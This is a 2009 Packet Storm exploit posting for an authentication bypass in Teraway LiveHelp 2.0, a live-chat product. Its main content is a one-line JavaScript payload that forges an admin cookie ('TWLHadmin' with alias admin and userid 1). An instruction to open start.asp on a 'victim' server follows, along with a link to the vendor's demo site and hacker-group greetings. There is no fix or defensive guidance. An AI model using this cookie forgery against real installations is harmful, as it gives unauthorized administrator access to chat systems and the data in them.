Teraway LiveHelp 2.0 Insecure Cookie

2009-04-28T00:00:00
ID PACKETSTORM:77033
Type packetstorm
Reporter ThE g0bL!N
Modified 2009-04-28T00:00:00

Description

                                        
                                            `-------------------------------------[+]  
Homepage:http://www.teraway.com  
Product: Teraway LiveHelp 2.0  
home:www.h4ckf0ru.com  
Note: Hawach x.CJP.x Ballk Ma tedirech Ihdae  
Note: Ya Jma3a Ana AfLawi Horr  
-------------------------------------  
Teraway LiveHelp 2.0 Insecure Cookie Handling Vuln  
-------------------------------------  
Exploit:  
--------  
  
javascript:document.cookie="TWLHadmin=pwd=&lvl=1&usr=&alias=admin&userid=1;path=/";  
Then Go to http://victim/path/start.asp  
  
demo  
----  
http://www.teraway.com/livehelp/demo/login.asp  
  
  
--------------------------------------------------  
Greetz to :  
[+] Super_Cristal (My Master) Dos-Dz Team Snakes TeaM  
SuB-ZeRo x.CJP.x Mr.tro0oqy - Cyber-Zone- ZoRLu  
And ALL Members Of anti-intruders.org   
ALL My Friends (Dz)  
[+]-------------------------------------[+]  
  
  
`